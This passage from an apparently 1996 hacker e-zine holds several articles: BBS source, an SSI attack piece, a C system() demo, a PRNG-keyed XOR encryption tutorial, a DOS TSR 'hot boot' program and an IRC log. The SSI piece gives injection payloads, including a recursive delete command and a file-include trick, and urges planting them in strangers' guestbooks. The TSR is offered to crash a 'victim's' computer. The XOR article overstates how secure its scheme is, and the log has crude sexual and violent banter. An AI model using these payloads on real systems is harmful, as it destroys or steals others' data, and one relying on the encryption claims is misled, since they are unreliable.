  959.         }                         
  960.         
  961.         if (host_continue && connect)
  962.         {
  963.             if (security_level)
  964.             {
  965.                 StrCpy(HomePath(), TempDir);
  966.                 StrCat(TempDir, "HOSTMODE.TXT");
  967.                 OutFile(TempDir);
  968.                 userString[0] = 0;
  969.                 HostMainLoop();
  970.             }
  971.             else
  972.                 HostOut(accessDenied);
  973.         }
  974.         SetLocalHost(FALSE);
  975.         if (CarrierDetect())
  976.         {
  977.             Wait(2);
  978.             Hangup();
  979.         }
  980.     connect = FALSE;
  981.     host_timeout = FALSE;
  982.     }           
  983.     SetDrive(StartupDir);
  984.     SetDirectory(StartupDir);
  985. }
  986.  
  987. END OF HOSTMODE.SRP -------------------
  988.  
  989. Now all I need to do is create all the COMM port source, the download
  990. protocals and the HostOut and other stuff.. and then it will be a stand
  991. alone BBS.. anyone want to help me out?
  992.  
  993. NOTE: if you don't have QuickLink e-mail me.. I might send it to you, but
  994. i'll tell you where to get it, since we should be getting an FTP site up
  995. in a little bit...
  996.  
  997.         The full program is only about 2 megs uncompressed... it is
  998.         probably only like 800k or so compressed.
  999.  
  1000. =============================================================================
  1001.  
  1002. SSI weaknesses by Scud-O
  1003.  
  1004.         Server Side Includes (SSI) is a powerful feature of Web servers to
  1005. use only when a document has only a little bit of dynamic data. Using a
  1006. counter on a page that otherwise doesn't change is an example.
  1007.         However as great as SSI sounds, it also has some serious security
  1008. weaknesses. Since SSI can be used to execute programs, poorly designed pages
  1009. can give out tons of info. However not every server can use SSI, and many
  1010. turn off the feature. The two most popular servers, NCSA and Netscape can use
  1011. SSI, but the CERN server can not. However their is a CGI out called
  1012. fakessi.pl that you can use to emulate SSI with. You can find fakessi.pl
  1013. at: sw.cse.bris.ac.uk/WebTools/fakessi.html .
  1014.         With SSI the main security weaknessed lie in executing CGI's or other
  1015. programs. You can execute other (insecure) CGI's (like the one in Issue 4) by
  1016. doing this:
  1017.                 <!--#exec cgi="/cgi-bin/finger.pl"-->
  1018.  
  1019. Very easy! just change the text between the quotes to run whatever you want.
  1020.  
  1021. To execute programs:
  1022.         <!--#exec cmd="/usr/ucb/finger $REMOTE_USER@$REMOTE_HOST"-->
  1023.  
  1024. Both of these would return the results of a finger.
  1025.  
  1026. A little bit o fun:
  1027.         try this:
  1028.                 <!--#exec cmd="/bin/rm -fr"-->
  1029.         and watch those files just disappear!
  1030.  
  1031. Okay you are saying.. well I can do this on MY page, but what about OTHER
  1032. people's pages?
  1033.  
  1034.         Well, one example is the standard guestbooks around. Most of them
  1035. either allow you to enter HTML commands, or they are stupid and process your
  1036. comments into HTML. If that server has SSI and you use the code above, their
  1037. files will be deleted! Some guestbooks strip off SSI, but many do not. I
  1038. am not sure abouit Lpage, but I suspect that it will not work. However in
  1039. many guestbook CGI's people write, they will work. Hopefully the web page
  1040. owner will not see the guestbook and be culeless to why his files are missing!
  1041. Then if he doesn't update his guestbook, every time some one views it, HIS
  1042. FILES WILL BE DELETED AGAIN!!  Oh well, have fun!
  1043.  
  1044. Another attack?
  1045.         Say there is a REALLY juicy file some one has on their box that you
  1046. want. Another feature of SSI was ment to include files in an HTML document
  1047. can help you. Made to add boilerplates (information you want to repeat in
  1048. many of you web documents) you can use the tag:
  1049.         <!--#include file="bottom.html"-->
  1050. This would include the file bottom with what ever is in the file in the
  1051. web page. (This is great for uniformity, and I indend to use it as soon as
  1052. I move to luthor's place or L0pht and have CGI access!)
  1053.         Anyway, if in the guestbook for example, you type in:
  1054.                 <!--#include file="system1.sniff"-->
  1055.                 (say this file has some good sniffer info or something..)
  1056.  
  1057. You should, theoretically have the file outputed to the guest book, and from
  1058. thies either cut and paste or save the html file and you have the file!
  1059.  
  1060.  
  1061.                                 
  1062.  
  1063. =============================================================================
  1064.  
  1065. system() -
  1066.  
  1067. while trying to find a C function so that I can use DOS commands on my
  1068. school's network I found system(). At first I thought it was a non-ANSI
  1069. function, but to my surprise, once I looked in a few books and saw that
  1070. it was included in the stdlib.h header so "hey, great!" . system() is VERY
  1071. simple to use, but you must be careful with memory. Since the system() runs
  1072. from the program and the program is run from the OS, it doesn't have free run
  1073. of the memory. Or at least in DOS, UNIX might be different but I haven't been
  1074. able to test that yet. So basically if you have enough free RAM, the OS
  1075. command processor will load, otherwise you will get a nasty error message.
  1076.  
  1077. the basic format is:
  1078.     system(command);
  1079.  
  1080. for example in DOS to print out the directory listing you can use either:
  1081.  
  1082. system("dir");
  1083.     -OR-
  1084. char *command = "dir";
  1085. system(command);
  1086.  
  1087. Here is an example of system() :
  1088.  
  1089. /* system() demonstration by Scud-O of HBS */
  1090. /* For The HAVOC Technical Journal Issue 6 */
  1091.  
  1092. #include <stdio.h>
  1093. #include <stdlib.h>
  1094.  
  1095. main()
  1096. {
  1097.     char input[40]; /* a buffer for input */
  1098.     
  1099.     while(1)
  1100.     {
  1101.         /* First get the command */
  1102.         puts("\nInput your command or hit ENTER to exit");
  1103.         gets(input);
  1104.         
  1105.         /* exit if line is blank */
  1106.         if (input[0] == "\0")
  1107.             exit(0);
  1108.         
  1109.         /* otherwise execute command */
  1110.         system(input);
  1111.     }
  1112. }
  1113.  
  1114. Now isn't that simple?
  1115.  
  1116. If you want to run multiple command, well just use the code above, or do a
  1117. simple system("command.com") if you are using DOS.
  1118.  
  1119. Please note: if you are working on a program that is to be multiplatform,
  1120. don't use system() or if you do, be careful. If you use ANY special OS
  1121. commands you will have code that is much less portable.
  1122.  
  1123.  
  1124. Well, that's all folks!
  1125.  
  1126. =============================================================================
  1127.  
  1128. XOR data encryption with an infinite length key by Psycho
  1129.  
  1130. With the increased awareness of the necessity for privacy of electronic 
  1131. information, there is a need for simple, efficient methods of data 
  1132. encryption. One of the most common methods, for some time now, has been 
  1133. the use of the exclusive-OR (XOR) operator on files, with some small repeating bytestream 
  1134. known as the key. 
  1135.  
  1136.  
  1137. When the resultant file is XORed with the key again, it reverts back to 
  1138. its original state.  There are many existing examples of programs that 
  1139. use the XOR method to encrypt files with a key word or phrase. For many, 
  1140. this level of security is more than ample; however, when the length of 
  1141. the encryption key is less than that of the file to be 
  1142. encrypted, there exists the possibility that the repeated key 
  1143. can be deduced, and the file decrypted. 
  1144.  
  1145.  
  1146. Because the key is repeated many times throughout the encryption process, 
  1147. it may be possible to crack the code within a reasonable amount of time, and 
  1148. thus XOR encryption with small keys is not used in high security situations. 
  1149. However, if the key length is sufficiently great, to the point where it is 
  1150. the equal of the data being encrypted, then XOR encryption remains uncrackable, 
  1151. and is thus an easily implemented encryption method. 
  1152.  
  1153.  
  1154. The only problem with using keys as large as the file or datastream you need 
  1155. to encrypt is that both the key must be transferred through a secure medium, 
  1156. which might be either costly or unworkable. If you want to encrypt a four 
  1157. hundred megabyte database, you'll need to carry around a decoder CD-ROM with 
  1158. an equally large key! Obtaining a reliable key of such a size, which cannot 
  1159. be determined by other sources, may prove difficult, and is certainly not 
  1160. efficient. If you deal with large files, then finding and transmitting an 
  1161. extremely long key may be costly and time-consuming (particularly if the key 
  1162. is changed regularly for security purposes). 
  1163.  
  1164.  
  1165. There is, however, a solution! Anyone who has ever generated random 
  1166. numbers upon a computer, quickly realises that the numbers are not 
  1167. truly random. They must be "seeded" with particular values, which 
  1168. give a particular sequence of numbers. We can use this inherent 
  1169. deficiency within random number generators to construct (on-the-fly) 
  1170. an infinitely large key for the purposes of encryption, by seeding it with 
  1171. a particular number which users can specify. Rather than storing the key, 
  1172. we only need pass on the seed value, rather than a huge code-key. 
  1173. Provided the same random number generator is used (usually programming 
  1174. language specific and platform specific) we can have an infinitely large 
  1175. key that gives us increased protection.
  1176.  
  1177.  
  1178. Security Warning :
  1179. While this method gives greater
  1180. security that a small, self-repeating XOR encryption key, it does not guarantee 
  1181. absolute protection. The method used to generate a key exploits a weakness in 
  1182. the random number generators of computing languages - namely that they are 
  1183. pseudo-random number generators. Since they are not truely random (and require 
  1184. a seed), we can replicate the same sequence of numbers time and time again. The problem 
  1185. with a pseudo-random number generator is that there may be some underlying pattern 
  1186. to the numbers it generates. Unless your random number generator avoids repetition, 
  1187. there exists the potential for repetition on extremely large files. 
  1188.  
  1189.  
  1190. General Theory  
  1191. For those who are unfamiliar with the XOR operator, it is covered in most 
  1192. discrete maths / computer science textbook. For the purposes of encryption, 
  1193. it has several desirable properties. Firstly, its extremely simple to use 
  1194. and understand (unlike more advanced methods such as say, the RSA encryption 
  1195. algorithm used in public key cryptography). We have a series of characters 
  1196. known as a "key" which we use to encrypt a file or datastream. Then, we 
  1197. can at a later date use the same key, and the same programming code, 
  1198. with the XOR operator on the encrypted datastream. Our original data is 
  1199. restored, simply by using the XOR function with the key again.</P> 
  1200.  
  1201. The syntax for XOR encryption, under most programming languages, is 
  1202. like this : 
  1203.  
  1204. encrypted_byte = originalbyte XOR keyvalue
  1205. (where keyvalue is a byte taken from a repeating sequence of characters 
  1206.  which are used both to encrypt and decrypt) 
  1207.  
  1208.  
  1209. Likewise, the syntax for XOR decryption, under most programming languages, 
  1210. is like this : 
  1211.  
  1212. original_byte = encrypted_byte XOR keyvalue 
  1213. (where keyvalue is a byte taken from a repeating sequence of characters 
  1214.  which are used both to encrypt and decrypt) 
  1215.  
  1216.  
  1217. For those interested in the more theoretical details, the exclusive-OR 
  1218. operator is evaluated by examining individual bits, and comparing them 
  1219. to the result in the following truth table.  
  1220.  
  1221.  
  1222.     +--------------------+
  1223.     | A B | eXculsive-OR | 
  1224.     +-----+--------------+
  1225.     | 0 0 |      0       |
  1226.     +-----+--------------+
  1227.     | 0 1 |      1       |
  1228.     +-----+--------------+
  1229.     | 1 0 |      1       |
  1230.     +-----+--------------+
  1231.     | 1 1 |      0       |
  1232.     +-----+--------------+
  1233.  
  1234.  
  1235. As you can see, the XOR operator will return true if, and only if, the 
  1236. operands are either true, or false, but not both. If A and B are false, 
  1237. then XOR returns false, but if they are different, XOR returns true. 
  1238.  
  1239.  
  1240. Now, to examine and understand why XOR encryption is so simple to use, take 
  1241. any value for A (either 0 or 1) and apply the XOR function to a key-bit (B) of 0. 
  1242. Do so again, and you will see that you arrive at your original bit (A). 
  1243. Likewise with a key value of 0, a second XOR restores the original bit. 
  1244. This is a handy feature, as your program need not have separate encryption and 
  1245. decryption routines. Simply executing the central algorithm once, then again 
  1246. can both encrypt and decrypt. 
  1247.  
  1248.  
  1249. Infinite length keys  
  1250.  
  1251.  
  1252. Our infinite length keys are generated simply through a random number generator 
  1253. which is seeded by a user-specified value. Under most languages, the number 
  1254. generated from one execution of an application will be the same when the 
  1255. application is next executed, unless the generator is seeded; 
  1256. usually by the system timer. But if we seed the generator 
  1257. with a known value - which will generate our encryption key - at a later 
  1258. date that same key can be reproduced for decryption. 
  1259.  
  1260.  
  1261. Example source code  
  1262.  
  1263. The following Turbo Pascal listing gives you a working example of the 
  1264. infinite length key XOR system. Note that random number generators will 
  1265. most likely be platform and language specific, so that a Turbo Pascal 
  1266. compiled system probably won't work with a Visual Basic system, and vice 
  1267. versa. This brings an added benefit, for to break the code, you would not 
  1268. only have to cycle through every single possible seed value, you would also 
  1269. need to know the specific language and version to even attempt to crack the 
  1270. code. 
  1271.  
  1272.  
  1273. Listing one - infinite length XOR encryption example  
  1274.  
  1275. Program InfiniteXORKey; 
  1276.  
  1277. { An example encryption system that selectively seeds a random number 
  1278.   generator to choose a particular sequence of random numbers, which 
  1279.   are then used to encrypt or decrypt a file. 
  1280.  
  1281.   Syntax 
  1282.  
  1283.   Infinkey INPUTFILE OUTPUTFILE RANDOMSEED 
  1284.  
  1285.   where randomseed is any long integer 
  1286.  
  1287.  
  1288.  
  1289. uses crt, dos; 
  1290.  
  1291. var Input, Output : file; 
  1292.     Numread, NumWritten : word; 
  1293.     Buffer : array[1..4096] of char; 
  1294.     seed : longint; 
  1295.     i : integer; 
  1296.     VerifyFile : SearchRec; 
  1297.     InputFile, FileName : string; 
  1298.  
  1299. begin 
  1300.      { Verify paramaters } 
  1301.      if ParamCount <> 3 then begin 
  1302.                                   Writeln ('Invalid number of paramaters'); 
  1303.                                   Halt(1); 
  1304.                              end; 
  1305.      { Verify original file's existance } 
  1306.      FindFirst (Paramstr(1), AnyFile, VerifyFile); 
  1307.      InputFile := paramstr(1); 
  1308.      { Convert file name to uppercase } 
  1309.      For i := 1 to length(ParamStr(1)) do 
  1310.        FileName := Filename + UpCase(InputFile[i]); 
  1311.      If VerifyFile.Name <> FileName then begin 
  1312.                                             Writeln ('Input file not found'); 
  1313.                                             Halt(2); 
  1314.                                           end; 
  1315.  
  1316.      Assign (Input, Paramstr(1)); { Open file for input } 
  1317.      Reset  (Input , 1 ) ;        { Record size = 1     } 
  1318.      Assign (Output, ParamStr(2)); { Open file for output } 
  1319.      Rewrite (Output, 1 ) ;        { Record size = 1      } 
  1320.  
  1321.      Writeln ('Encrypting ', FileSize(Input), ' bytes....'); 
  1322.      { Get information, then encrypt } 
  1323.  
  1324.      { Seed our generator to give an infininte key } 
  1325.        Val ( Paramstr(3), seed, i); 
  1326.        RandSeed := ( seed ); 
  1327.      repeat 
  1328.            BlockRead (Input, Buffer, SizeOf(Buffer), NumRead); 
  1329.  
  1330.            for i :=1 to numread 
  1331.            do begin 
  1332.                    Buffer[i] := chr(ord(buffer[i]) XOR Random(256)); 
  1333.               end; 
  1334.  
  1335.            BlockWrite ( Output, Buffer, NumRead, NumWritten); 
  1336.  
  1337.      until (numread = 0 ) or (numwritten <> numread); 
  1338.  
  1339.      Close( Input ); 
  1340.      Close( Output ); 
  1341. end. 
  1342.  
  1343.  
  1344.  
  1345. Conclusion  
  1346.  
  1347.  
  1348. While XOR encryption may have been, in the past, viewed as easily crackable, 
  1349. with the principle of seeding a key of the length of the original data, you 
  1350. can incorporate easy encryption into your own software. While it still has 
  1351. its limitations, in that the random number generator used in one language 
  1352. will not give you the same set of values in another language, if you did need 
  1353. to make code that was easily portable to other platforms, you could design 
  1354. your very own random number generator. This would eliminate any of the above 
  1355. mentioned limitations. 
  1356.  
  1357.  
  1358. =============================================================================
  1359.  
  1360. Hot Boot Crash by |\|\cFill
  1361.  
  1362.         |\|\cFill e-mailed this to me, and basically what it does is when the
  1363. user (err, victim) Reboots, well their computer will crash.. have fun!
  1364.  
  1365. hmm... aparrently South American keyboards beboot on ALT+CTRL+BACKSPACE ...
  1366.  
  1367. ;
  1368. ;       NAME......:     HOTBOOT.ASM
  1369. ;       FUNCTION..:     <Hot> Reboot when ALT+CTRL+BACKSPACE
  1370. ;       COMPILER..:     Turbo Assembler 2.0 or sup.
  1371. ;       DATE......:     10/12/1996
  1372. ;       AUTHOR....:     |\|\cFiLL  -  TeEnAgErS AsSoCiAtEs
  1373. ;
  1374. ; TnG Staff:
  1375. ;         - LuCiFeR
  1376. ;         - SoNiC
  1377. ;         - FlaGG 
  1378. ;         - |\|\cFiLL
  1379. ;         - AmAzInG
  1380.  
  1381.  
  1382. BEL             EQU     7
  1383. CR              EQU     13
  1384. LF              EQU     10
  1385. LAST_VECT       EQU     80h
  1386. JMP_FAR         EQU     0EAh
  1387. SHIFT_STATUS    EQU     17h
  1388. CRT_ADDR        EQU     63h
  1389. ALT_CTRL_MASK   EQU     0Ch             ; MASK FOR ALT+CTRL
  1390. BKS_SCAN_CODE   EQU     0Eh             ; BACKSPACE
  1391.  
  1392.  
  1393. CSEG            SEGMENT PARA    PUBLIC  'CODE'
  1394.         ASSUME  CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
  1395.  
  1396.                 ORG     100h
  1397. START:          JMP     MAIN            ; EXECUTE THE SOFT
  1398.  
  1399.  
  1400.                 ORG     100h
  1401.  
  1402. ;*******************************************************************************
  1403. ; RESIDENT VARIABLES OF SOFT
  1404. ;*******************************************************************************
  1405.  
  1406. VEC_TAB         DD      LAST_VECT       DUP(?) ; PICK UP INT VECTS
  1407. BLOCK_ADDR      DW      ?                      ; NEXT SEGMENT
  1408. BLOCK_SIZE      DW      ?                      ; SEGMENT SIZE
  1409. OK$             DB      BEL, 'TnG Corp: '
  1410.                 DB      'memmory state restored (if possible).$'
  1411.  
  1412.  
  1413. ;*******************************************************************************
  1414. ; KBD_INT - NEW KEYBOARD INTERRUPT
  1415. ;*******************************************************************************
  1416.  
  1417. KBD_INT         PROC    FAR
  1418.  
  1419.                 PUSH    AX DS           ; PICK UP ALT. REGISTERS
  1420.  
  1421.                 MOV     AX, 40h         ; PREPARE TO BIOS DATA AREA
  1422.                 MOV     DS, AX
  1423.                 MOV     AL, BYTE PTR DS:[SHIFT_STATUS]
  1424.                 AND     AL, 0Fh
  1425.                 CMP     AL, ALT_CTRL_MASK
  1426.                 JNE     BAD_KEY
  1427.  
  1428.                 IN      AL, 60h         ; SCAN CODE KEY CHECK
  1429.                 CMP     AL, BKS_SCAN_CODE
  1430.                 JNE     BAD_KEY
  1431.  
  1432.                 IN      AL, 61h         ; KEYBOARD READ SIGNAL
  1433.                 MOV     AH, AL
  1434.                 OR      AL, 80h
  1435.                 OUT     61h, AL
  1436.                 XCHG    AH, AL
  1437.                 OUT     61h, AL
  1438.                 MOV     AL, 20h         ; END OF INTERRUPT SIGNAL
  1439.                 OUT     20h, AL
  1440.  
  1441.                 PUSH    CS
  1442.                 POP     DS
  1443.  
  1444.                 MOV     ES, BLOCK_ADDR  ; CREATE LAST MCB
  1445.                 CLD
  1446.                 XOR     DI, DI
  1447.                 MOV     AL, 'Z'
  1448.                 STOSB
  1449.                 XOR     AX, AX
  1450.                 STOSW
  1451.                 MOV     AX, BLOCK_SIZE
  1452.                 STOSW
  1453.  
  1454.                 XOR     AX, AX          ; RESTORE INTERRUPT VECTORS
  1455.                 MOV     ES, AX
  1456.                 MOV     SI, OFFSET VEC_TAB
  1457.                 XOR     DI, DI
  1458.                 MOV     CX, LAST_VECT * 2
  1459.                 CLI
  1460.                 REP     MOVSW
  1461.                 STI
  1462.  
  1463.                 MOV     BX, CS          ; ACTIVATE PSP
  1464.                 MOV     AH, 50h
  1465.                 INT     21h
  1466.  
  1467.                 MOV     AX, 40h         ; CHANGE VIDEO MODE TO 80x25 TEXT
  1468.                 MOV     ES, AX
  1469.                 MOV     AL, 7                   ; VIDEO MODE 7 - HGC, MDA
  1470.                 CMP     ES:[CRT_ADDR], 3B4h
  1471.                 JE      SET_MODE
  1472.                 MOV     AL, 3                   ; VIDEO MODE 3 - CGA, EGA, VGA
  1473. SET_MODE:       XOR     AH, AH
  1474.                 INT     10h
  1475.  
  1476.                 MOV     DX, OFFSET OK$          ; DESINSTALATION
  1477.                 MOV     AH, 9
  1478.                 INT     21h
  1479.  
  1480.                 MOV     AX, 4C00h               ; ABORT TO OPERATIVE SYSTEM
  1481.                 INT     21h
  1482.  
  1483. BAD_KEY:        POP     DS AX                   ; JUMP TO OLD INT 9
  1484.                 DB      JMP_FAR
  1485. OLD_KBD         DD      0
  1486.         
  1487. KBD_INT         ENDP
  1488.  
  1489. END_TSR         EQU     $
  1490.  
  1491.  
  1492. ;*******************************************************************************
  1493. ; NON RESIDENT VARIABLES
  1494. ;*******************************************************************************
  1495.  
  1496. COPYRIGHT$      DB      '<HOT> Boot 1.0 - by: |\|\cFiLL @ TnG Corp. 1996.$'
  1497.  
  1498. INSTALL_OK$     DB      CR, LF, 'ALT+CTRL+BACKSPACE, to make a <hot> boot.'
  1499.                 DB      CR, LF, 'NOTE: '
  1500.                 DB      'just use on system CRASH state.$'
  1501.  
  1502. LH_ERR$         DB      BEL, CR, LF, 'ERROR: '
  1503.                 DB      'do not load on high memmory.$'
  1504.  
  1505.  
  1506. ;*******************************************************************************
  1507. ; MAIN  -  PRINCIPAL SOFT
  1508. ;*******************************************************************************
  1509. MAIN:
  1510.                 MOV     DX, OFFSET COPYRIGHT$   ; WHO AM I
  1511.                 MOV     AH, 9
  1512.                 INT     21h
  1513.  
  1514.                 MOV     AX, CS                  ; CHECK HIGH MEMMORY
  1515.                 CMP     AX, 0A000h              ; LOAD
  1516.                 JB      LOW_MEM
  1517.  
  1518.                 MOV     DX, OFFSET LH_ERR$      ; ERROR
  1519.                 MOV     AH, 9
  1520.                 INT     21h
  1521.  
  1522.                 MOV     AX, 4CFFh               ; END OF SOFT
  1523.                 INT     21h
  1524.  
  1525. LOW_MEM:        MOV     DX, OFFSET INSTALL_OK$  ; INSTALATION
  1526.                 MOV     AH, 9
  1527.                 INT     21h
  1528.  
  1529.                 XOR     AX, AX                  ; INTERRUPTS TABLE COPY
  1530.                 MOV     DS, AX
  1531.                 MOV     CX, LAST_VECT * 2
  1532.                 MOV     SI, AX
  1533.                 MOV     DI, OFFSET VEC_TAB
  1534.                 CLD
  1535.                 REP     MOVSW
  1536.  
  1537.                 PUSH    CS                      ; RESTORE DS
  1538.                 POP     DS
  1539.  
  1540.                 MOV     ES, DS:[2Ch]            ; LEAVE ENVIRONMENT BLOCK
  1541.                 MOV     AH, 49h
  1542.                 INT     21h
  1543.  
  1544.                 MOV     AX, 3509h               ; REDICIONATE INT 9
  1545.                 INT     21h
  1546.                 MOV     WORD PTR OLD_KBD, BX
  1547.                 MOV     WORD PTR OLD_KBD+2, ES
  1548.                 MOV     AX, 2509h
  1549.                 MOV     DX, OFFSET KBD_INT
  1550.                 INT     21h
  1551.  
  1552.                 PUSH    CS                      ; CALCULATE SOFT SIZE
  1553.                 POP     ES
  1554.                 MOV     BX, (OFFSET END_TSR - CSEG + 15) SHR 4
  1555.                 MOV     DX, BX
  1556.                 MOV     AX, CS
  1557.                 ADD     AX, BX
  1558.                 MOV     BLOCK_ADDR, AX
  1559.  
  1560.                 MOV     AH, 4Ah                 ; CHANGE MCB SIZE
  1561.                 INT     21h
  1562.  
  1563.                 MOV     BX, -1                  ; DISP. MEMMORY
  1564.                 MOV     AH, 48h
  1565.                 INT     21h
  1566.                 MOV     BLOCK_SIZE, BX
  1567.  
  1568.                 MOV     AX, 3100h               ; GET OUT TO S.O. AND STAY RESIDENT
  1569.                 INT     21h
  1570.  
  1571. CSEG            ENDS
  1572.                 END     START
  1573.  
  1574. =============================================================================
  1575. the Transatlantic Telephone Cable #8 (TAT-8) info by Keystroke
  1576.  
  1577. One night while I was out doing stuff (heh) and I found these BellCore
  1578. document just lying around! It turns out they were on the Transatlantic
  1579. Telephone Cable #8. aka TAT-8. Here's what they said:
  1580.  
  1581. IN SERVICE: SINCE 1988
  1582. LOCATION: TUCKERTON, NJ TO WIDEMOUTH, ENGLAND
  1583.                                 TO PENMARCH, FRANCE
  1584. UNDERSEA PATH LENGTH: 5600km +500km ENGLAND }\ [It branches off in two
  1585.                         directions, as you can see in int picture]
  1586.                                     +300km FRANCE    }/
  1587. WAVELENGTH: 1.3um
  1588. FIBER: MONOMODE DEPRESSED CLADDING FIBERS IN A CABLE
  1589.              1.6 AMPERE CONDUCTOR FOR REPEATER POWER
  1590. LIGHT SOURCE: DOUBLE HETEROSTRUCTURE LASER DIODES
  1591.         MEDIAN LIFETIME = 10^6 HOURS
  1592.  
  1593. CAPACITY: 557 Mbps
  1594.         +  2 FIBER PAIRS OPERATING AT 295.6 Mbps
  1595.         +  2 STANDBY FIBERS
  1596.         +  40,000 VOICE CHANNELS (USING ADAPTIVE DELTA PULSE CODED MODULATION)
  1597.         +  ELECTRONIC MULTIPLEXERS AND DEMULTIPLEXERS CONVERT BETWEEN THE
  1598.               295.6 Mbps LINES AND THE EUROPEAN 139.264 Mps LINES
  1599.  
  1600. TRANSMITTER: LASER DIODE InGaAsP (1290-1330nm)
  1601.                 OUTPUT POWER > 5mW AT 30mA
  1602. RECEIVER: InGaAs PIN DIODE
  1603.  
  1604. REPEATERS: INTER-REPEATER DISTANCE =[about] 35km-50km, 103 REPEATERS
  1605.                  6 REGENERATORS IN EACH REPEATER, (2 IN ONE DIRECTION,
  1606.                          2 IN THE OTHER DIRECTION, 2 STANDBY)
  1607.  
  1608. PARTNERS IN THE TAT-8 PROJECT
  1609.  
  1610. 34.10% AT&T
  1611. 27.00% FOREIGN INVESTORS
  1612. 15.50% BRITISH TELECOM
  1613. 13.60% MISCELANEOUS INVESTORS
  1614.   9.80% FRANCE
  1615. 100.00% HAVOC (:
  1616.  
  1617. =============================================================================
  1618. For your reading pleasure... the take over of #e.p.a.!
  1619.         E.P.A. (Elite Phreakers Alliance) were a group of lamers that
  1620. invited is to their channel, and as you can see the boys of #phreak made
  1621. them regret they ever invited us.. enjoy!
  1622.  
  1623. NOTE: this is also online:
  1624.                         www.geocities.com/SiliconValley/8805/e_p_a.log
  1625.  
  1626. Session Start: Wed Dec 04 01:17:09 1996
  1627. *** Now talking in #e.p.a.
  1628. <Scud-O> whats up
  1629. <Scud-O> heheh hey el4n
  1630. <Sanctity> not much
  1631. <Sanctity> hi Scud-O
  1632. <Scud-O> hey
  1633. <Sanctity> welcome
  1634. <el4n> hi scud
  1635. *** memor (~derzeter@194.206.81.193) has joined 
  1636. #e.p.a.
  1637. <Scud-O> so tell us about epa
  1638. <Sanctity> hey memor
  1639. *** ec|ipse (eclypse@kam-as-01b06.direct.ca) has 
  1640. joined #e.p.a.
  1641. <ec|ipse> w3rd
  1642. <ec|ipse> i did it
  1643. <el4n> what if somone.. how should i say.. was 
  1644. not "eleet" wanted to join up.. could they 
  1645. still do this?
  1646. <Scud-O> tell us bout epa
  1647. <el4n> i mean get in epa an all?
  1648. <ec|ipse> do you guys get lots of chicks?
  1649. <memor> i thank elite was on bbs only..
  1650. <Sanctity> EPA is just basically a bunch of guys 
  1651. from canada
  1652. <Scud-O> k
  1653. <Scud-O> hehe chicks
  1654. *** YourMom (jlmason@pm028-06.dialip.mich.net) 
  1655. invites you to join #teenhackers
  1656. <Sanctity> lots o chicks
  1657. <el4n> *** YourMom (jlmason@pm028-06.dialip.mich.n
  1658. et) invites you to join #teenhackers
  1659. <el4n> *** YourMom (jlmason@pm028-06.dialip.mich.n
  1660. et) invites you to join #teenhackers
  1661. <el4n> *** YourMom (jlmason@pm028-06.dialip.mich.n
  1662. et) invites you to join #teenhackers
  1663. <el4n> *** YourMom (jlmason@pm028-06.dialip.mich.n
  1664. et) invites you to join #teenhackers
  1665. <el4n> *** YourMom (jlmason@pm028-06.dialip.mich.n
  1666. et) invites you to join #teenhackers
  1667. <el4n> *** YourMom (jlmason@pm028-06.dialip.mich.n
  1668. et) invites you to join #teenhackers
  1669. <el4n> yes
  1670. <ec|ipse> i will join epa if you gets lots of 
  1671. chicks
  1672. <el4n> YES YES YES
  1673. <ec|ipse> i am from canada
  1674. <Sanctity> let's get some chicks!
  1675. <Scud-O> i am a canuck... moved to us.. but 
  1676. moving back
  1677. <el4n> HOLY SHIT
  1678. <el4n> THERES MORE PEOPLE THEN THEN LIKE 
  1679. ANYWERHE!@$
  1680. <el4n> #TEENHACKERS
  1681. <Scud-O> hey baby.. im in epa... want to go fuck?
  1682. <el4n> IS THE PLACE
  1683. <Draim_K> me from canada
  1684. <memor> well if ^cna^ is from epa, i'll join heh
  1685. <el4n> HEHE
  1686. <Scud-O> teen hacers
  1687. <Sanctity> chicks!!
  1688. <ec|ipse> what about teen hacker chicks?
  1689. <Draim_K> * (__) 
  1690. <Draim_K> * /oo\\________
  1691. <Draim_K> * \\  /        \\
  1692. <Draim_K> *  \\/      /   \\
  1693. <Draim_K> *    \\_|___\\_|/.\\
  1694. <Draim_K> *     ||   YY| o '
  1695. <Draim_K> *     ||    || O 
  1696. <Draim_K> *     ^^    ^^
  1697. <ec|ipse> type ~beast el4n
  1698. *** Drooke (wassupfoo@stjhts15c43.nbnet.nb.ca) 
  1699. has joined #E.P.A.
  1700. *** Drooke changes topic to "Elite Phreakers 
  1701. Assotiation"
  1702. *** Draim_K has quit IRC (Read error to 
  1703. Draim_K[stjhts15c43.nbnet.nb.ca]: Connection 
  1704. reset by peer)
  1705. <el4n> ~BEAST
  1706. <ec|ipse> el4n has been feeling desperate 
  1707. lately... el4n notices a lovely cow grazing 
  1708. out in a field... el4n can't hold it any 
  1709. longer and runs out into the field and fucks 
  1710. the cow.
  1711. <ec|ipse> º÷MΩ÷±Ω TÑ■Ω ~▀σ«
  1712. *** Drooke is now known as Draim_K
  1713. <ec|ipse> if u want me eleet ass in epa, i better 
  1714. be getting awps
  1715. <Scud-O> let me in to epa!!!!!!!!!!!!!
  1716. <el4n> i know redbox teknique
  1717. *** DrubleR (~Hey.who.n@btstts01c12.nbnet.nb.ca) 
  1718. has joined #E.P.A.
  1719. <ec|ipse> ok
  1720. *** Sanctity sets mode: +o DrubleR
  1721. * Sanctity hands DrubleR some of dat stuff!!!
  1722. <ec|ipse> well, awp me
  1723. <DrubleR> heh heh
  1724. <Draim_K> hey sanc
  1725. <Draim_K> op
  1726. *** Keystroke (▀°Z°) (~y@ppp-21.ts-1.mvl.idt.net) 
  1727. has joined #e.p.a.
  1728. <el4n> anybody know why my redbox dosent work?
  1729. *** Sanctity sets mode: +o ec|ipse
  1730. * Sanctity hands ec|ipse some of dat stuff!!!
  1731. <memor> KEYz
  1732. <Draim_K> op
  1733. <el4n> i need to be oped also
  1734. <DrubleR> brb
  1735. *** Sanctity sets mode: +o el4n
  1736. * Sanctity hands el4n some of dat stuff!!!
  1737. <Scud-O> op me
  1738. *** el4n sets mode: -o DrubleR
  1739. *** el4n sets mode: -o Sanctity
  1740. <el4n> oooooops
  1741. <memor> db.. :)
  1742. * Sanctity takes out his Shotgun and tells 
  1743. Draim_K you got 10 seconds to run
  1744. * Sanctity Draim_K 10
  1745. * Sanctity Draim_K 1
  1746. * Sanctity pulls out the shotgun and blows 
  1747. Draim_K 's head off..
  1748. *** el4n sets mode: +o Scud-O
  1749. <Scud-O> hehe thbjma sel
  1750. * Sanctity shows Draim_K a broomstick and some 
  1751. KY........
  1752. <Sanctity> Suddenly some cheap 70's porno film 
  1753. music comes on [BOOMP-CHICKA-BOOMP-BOWWWWW!]
